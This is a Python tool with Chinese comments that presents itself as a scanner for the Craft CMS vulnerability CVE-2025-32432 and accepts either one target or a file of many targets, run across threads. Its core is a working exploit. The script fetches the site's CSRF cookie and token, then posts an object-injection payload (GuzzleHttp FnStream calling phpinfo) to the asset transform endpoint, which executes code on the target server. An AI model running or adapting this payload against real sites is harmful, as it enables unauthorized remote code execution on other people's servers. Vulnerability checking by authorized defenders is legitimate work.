#!/usr/bin/env python3
"""
Craft CMS CVE-2025-32432 高级漏洞扫描器
支持单目标扫描与批量扫描，带线程控制
"""

import requests
import re
import json
import sys
import time
import threading
import os
import argparse
from urllib.parse import urljoin
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor

# ================= 配置常量 =================
DEFAULT_THREADS = 5
DEFAULT_OUTPUT = "results.txt"
BANNER = r"""
   ______                __         ______ ______   ______
  / ____/______ ______ _/ /____    / ____/ __/ /  / ____/___
 / /   / __/ _ `/ __/ // __/ _ \  / /_  / /_/ /  / /_  / __ \
/ /___/ /_/  __/ /  / /_/ /  __/ / __/ / __/ /  / __/ / /_/ /
\____/\__/\___/_/   \__/\____/  /_/   /_/ /_/  /_/    \____/

Craft CMS CVE-2025-32432 高级漏洞扫描器 v2.1
"""

# ================= 自定义彩色日志 =================
class Logger:
    """专业的彩色日志输出系统"""
    
    COLORS = {
        'HEADER': '\033[95m',
        'BLUE': '\033[94m',
        'GREEN': '\033[92m',
        'WARNING': '\033[93m',
        'FAIL': '\033[91m',
        'ENDC': '\033[0m',
        'BOLD': '\033[1m',
        'CYAN': '\033[96m',
        'GRAY': '\033[90m',
    }
    
    @staticmethod
    def _print(color, msg):
        """带颜色的打印"""
        print(f"{color}{msg}{Logger.COLORS['ENDC']}")
    
    @staticmethod
    def info(msg):
        """普通信息"""
        print(f"{msg}")
    
    @staticmethod
    def success(msg):
        """成功信息"""
        Logger._print(Logger.COLORS['GREEN'], f"[+] {msg}")
    
    @staticmethod
    def warning(msg):
        """警告信息"""
        Logger._print(Logger.COLORS['WARNING'], f"[!] {msg}")
    
    @staticmethod
    def error(msg):
        """错误信息"""
        Logger._print(Logger.COLORS['FAIL'], f"[-] {msg}")
    
    @staticmethod
    def debug(msg):
        """调试信息"""
        Logger._print(Logger.COLORS['GRAY'], f"[DEBUG] {msg}")
    
    @staticmethod
    def critical(msg):
        """严重信息"""
        Logger._print(Logger.COLORS['FAIL'] + Logger.COLORS['BOLD'], f"[!] {msg}")
    
    @staticmethod
    def section(title):
        """区块标题"""
        print()
        Logger._print(Logger.COLORS['BLUE'], f"╒{'═'*70}╕")
        Logger._print(Logger.COLORS['BLUE'] + Logger.COLORS['BOLD'], f"│ {title}")
        Logger._print(Logger.COLORS['BLUE'], f"╘{'═'*70}╛")
    
    @staticmethod
    def sub_section(title):
        """子区块"""
        Logger._print(Logger.COLORS['CYAN'], f"├── {title}")
    
    @staticmethod
    def result_banner(title, is_vulnerable):
        """扫描结果横幅"""
        color = Logger.COLORS['GREEN'] if is_vulnerable else Logger.COLORS['FAIL']
        print()
        Logger._print(color, f"╒{'═'*60}╕")
        Logger._print(color + Logger.COLORS['BOLD'], f"│ 目标: {title}")
        status = "存在漏洞" if is_vulnerable else "未发现漏洞"
        Logger._print(color, f"│ 状态: {status}")
        Logger._print(color, f"╘{'═'*60}╛")
    
    @staticmethod
    def key_value(key, value, important=False):
        """格式化键值对"""
        if important:
            print(f"  {Logger.COLORS['BOLD']}{key}:{Logger.COLORS['ENDC']} {Logger.COLORS['GREEN']}{value}{Logger.COLORS['ENDC']}")
        else:
            print(f"  {key}: {value}")

# ================= 漏洞扫描器类 =================
class CraftCMSScanner:
    """Craft CMS漏洞扫描器"""
    
    def __init__(self):
        # 禁用SSL警告
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36',
            'Accept': '*/*',
            'Connection': 'close'
        }
        self.timeout = 20
        self.lock = threading.Lock()
    
    def scan_single(self, target_url):
        """扫描单个目标"""
        Logger.section(f"扫描目标: {target_url}")
        Logger.key_value("开始时间", datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
        
        start_time = time.time()
        status, details = self._scan(target_url)
        scan_time = time.time() - start_time
        
        Logger.key_value("扫描用时", f"{scan_time:.2f}秒")
        
        if status == "ERROR":
            Logger.error(f"扫描失败: {details}")
        elif status == "VULNERABLE":
            Logger.result_banner(target_url, True)
            Logger.success(details)
        else:
            Logger.result_banner(target_url, False)
            Logger.warning(details)
        
        return {"url": target_url, "status": status, "details": details}
    
    def scan_batch(self, target_file, threads=DEFAULT_THREADS):
        """批量扫描多个目标，结果自动保存到results.txt"""
        if not os.path.exists(target_file):
            Logger.critical(f"目标文件不存在: {target_file}")
            return []
        
        with open(target_file, 'r') as f:
            targets = [line.strip() for line in f.readlines() if line.strip()]
        
        if not targets:
            Logger.critical("目标文件中未找到有效URL")
            return []
        
        Logger.section(f"批量扫描启动 - 目标数: {len(targets)} 线程数: {threads}")
        
        results = []
        vulnerable_count = 0
        with ThreadPoolExecutor(max_workers=threads) as executor:
            future_to_url = {executor.submit(self._scan_and_report, target): target for target in targets}
            
            for future in future_to_url:
                result = future.result()
                results.append(result)
                if result['status'] == "VULNERABLE":
                    vulnerable_count += 1
        Logger.section("扫描摘要")
        Logger.key_value("总目标数", len(targets))
        Logger.key_value("存在漏洞数", vulnerable_count)
        Logger.key_value("安全目标数", len(targets) - vulnerable_count - sum(1 for r in results if r['status'] == "ERROR"))
        Logger.key_value("失败目标数", sum(1 for r in results if r['status'] == "ERROR"))
        self.save_results(results, DEFAULT_OUTPUT)
        Logger.success(f"扫描结果已保存到: {DEFAULT_OUTPUT}")
        
        return results
    
    def save_results(self, results, output_file):
        """保存扫描结果到文件"""
        try:
            with open(output_file, 'w') as f:
                f.write(f"{'='*70}\n")
                f.write("Craft CMS CVE-2025-32432 扫描结果\n")
                f.write(f"生成时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"目标数量: {len(results)}\n\n")
                
                vulnerable_count = sum(1 for r in results if r['status'] == "VULNERABLE")
                safe_count = sum(1 for r in results if r['status'] == "SAFE")
                error_count = sum(1 for r in results if r['status'] == "ERROR")
                
                f.write(f"存在漏洞: {vulnerable_count}\n")
                f.write(f"安全目标: {safe_count}\n")
                f.write(f"扫描失败: {error_count}\n\n")
                f.write(f"{'='*70}\n\n")
                
                for result in results:
                    status = {
                        "VULNERABLE": "[存在漏洞]",
                        "SAFE": "[安全]",
                        "ERROR": "[失败]"
                    }[result['status']]
                    
                    f.write(f"{status} {result['url']}\n")
                    f.write(f"详情: {result['details']}\n")
                    f.write(f"{'-'*70}\n")
        except Exception as e:
            Logger.error(f"保存结果到文件失败: {str(e)}")
    
    def _scan_and_report(self, target_url):
        """扫描并格式化结果报告"""
        Logger.info(f"开始扫描: {target_url}")
        start_time = time.time()
        try:
            status, details = self._scan(target_url)
            elapsed = time.time() - start_time
        except Exception as e:
            Logger.error(f"扫描 {target_url} 时出错: {str(e)}")
            return {"url": target_url, "status": "ERROR", "details": f"扫描错误: {str(e)}"}
        with self.lock:
            if status == "VULNERABLE":
                Logger.success(f"目标 {target_url} 存在漏洞! [{elapsed:.2f}s]")
            elif status == "SAFE":
                Logger.info(f"目标 {target_url} 未发现漏洞. [{elapsed:.2f}s]")
            else:
                Logger.error(f"目标 {target_url} 扫描失败: {details} [{elapsed:.2f}s]")
        
        return {"url": target_url, "status": status, "details": details}
    
    def _scan(self, target_url):
        """执行实际扫描流程"""
        target_url = target_url.rstrip('/')
        
        try:
            csrf_cookie = self._get_csrf_cookie(target_url)
            if not csrf_cookie:
                return "SAFE", "未获取到初始CSRF令牌"
            csrf_token = self._get_csrf_token(target_url, csrf_cookie)
            if not csrf_token:
                return "SAFE", "未获取到CSRF令牌值"
            is_vulnerable, details = self._exploit(target_url, csrf_cookie, csrf_token)
            
            if is_vulnerable:
                return "VULNERABLE", f"存在漏洞! {details}"
            return "SAFE", f"未利用成功: {details}"
        
        except requests.exceptions.RequestException as e:
            return "ERROR", f"请求异常: {str(e)}"
        except Exception as e:
            return "ERROR", f"未知错误: {str(e)}"
    
    def _get_csrf_cookie(self, target_url):
        """第一阶段: 获取CSRF Cookie"""
        url = urljoin(target_url, "/index.php?p=admin/actions/assets/generate-transform")
        
        try:
            response = requests.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=False,
                allow_redirects=False
            )
            if response.status_code != 500:
                Logger.debug(f"异常状态码: {response.status_code} (预期500)")
                return None
            set_cookie = response.headers.get("Set-Cookie", "")
            if "CRAFT_CSRF_TOKEN" in set_cookie:
                match = re.search(r'CRAFT_CSRF_TOKEN=([^;]+)', set_cookie)
                if match:
                    return match.group(1)
            
            return None
        
        except requests.exceptions.RequestException:
            raise
    
    def _get_csrf_token(self, target_url, csrf_cookie):
        """第二阶段: 获取CSRF Token值"""
        url = urljoin(target_url, "/index.php?p=admin/actions/assets/generate-transform")
        
        headers = self.headers.copy()
        headers["Cookie"] = f"CRAFT_CSRF_TOKEN={csrf_cookie}"
        
        try:
            response = requests.get(
                url,
                headers=headers,
                timeout=self.timeout,
                verify=False,
                allow_redirects=False
            )
            if response.status_code == 500 and "application/json" in response.headers.get("Content-Type", "").lower():
                try:
                    json_data = response.json()
                    return json_data.get("csrfTokenValue")
                except json.JSONDecodeError:
                    Logger.debug("JSON解析失败")
            csrf_match = re.search(r'"csrfTokenValue"\s*:\s*"([^"]+)"', response.text)
            if csrf_match:
                return csrf_match.group(1)
            
            return None
        
        except requests.exceptions.RequestException:
            raise
    
    def _exploit(self, target_url, csrf_cookie, csrf_token):
        """第三阶段: 漏洞利用"""
        url = urljoin(target_url, "/index.php?p=admin/actions/assets/generate-transform")
        payload = {
            "assetId": 11,
            "handle": {
                "width": 123,
                "height": 123,
                "as session": {
                    "class": "craft\\behaviors\\FieldLayoutBehavior",
                    "__class": "GuzzleHttp\\Psr7\\FnStream",
                    "__construct()": [[]],
                    "_fn_close": "phpinfo"
                }
            },
            "9qsccmw8lve": "="
        }
        
        headers = self.headers.copy()
        headers.update({
            "Cookie": f"CRAFT_CSRF_TOKEN={csrf_cookie}",
            "Content-Type": "application/json",
            "X-Csrf-Token": csrf_token
        })
        
        try:
            response = requests.post(
                url,
                headers=headers,
                json=payload,
                timeout=self.timeout,
                verify=False,
                allow_redirects=True
            )
            phpinfo_detected = "phpinfo()" in response.text
            
            if response.status_code == 200 and phpinfo_detected:
                php_version = self._extract_php_version(response.text)
                details = f"PHP版本: {php_version}" if php_version else "检测到phpinfo特征"
                return True, details
            details = f"状态码: {response.status_code}"
            if not phpinfo_detected:
                details += ", 未检测到phpinfo"
            
            return False, details
        
        except requests.exceptions.RequestException:
            raise
    
    def _extract_php_version(self, html_content):
        """从响应中提取PHP版本"""
        patterns = [
            r'<title>PHP ([\d.]+) - phpinfo$$</title>',
            r'<h1 class="p">PHP Version ([\d.]+)</h1>',
            r'PHP Version ([\d.]+)</td>'
        ]
        
        for pattern in patterns:
            match = re.search(pattern, html_content)
            if match:
                return match.group(1)
        return None

# ================= 主程序 =================
def main():
    # 打印banner
    print(Logger.COLORS['BLUE'] + BANNER + Logger.COLORS['ENDC'])
    parser = argparse.ArgumentParser(
        description="Craft CMS CVE-2025-32432 高级漏洞扫描器",
        formatter_class=argparse.RawTextHelpFormatter
    )
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="扫描单个目标URL")
    group.add_argument("-f", "--file", help="从文件批量扫描目标")
    
    parser.add_argument("-t", "--threads", type=int, default=DEFAULT_THREADS,
                       help=f"批量扫描线程数 (默认: {DEFAULT_THREADS})")
    args = parser.parse_args()
    scanner = CraftCMSScanner()
    if args.url:
        result = scanner.scan_single(args.url)
        scanner.save_results([result], DEFAULT_OUTPUT)
        Logger.success(f"单个扫描结果已保存到: {DEFAULT_OUTPUT}")
        
    elif args.file:
        scanner.scan_batch(args.file, args.threads)
    Logger.section("扫描完成")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        Logger.critical("\n用户中止扫描!")
        sys.exit(1)
    except Exception as e:
        Logger.critical(f"发生意外错误: {str(e)}")
        sys.exit(1)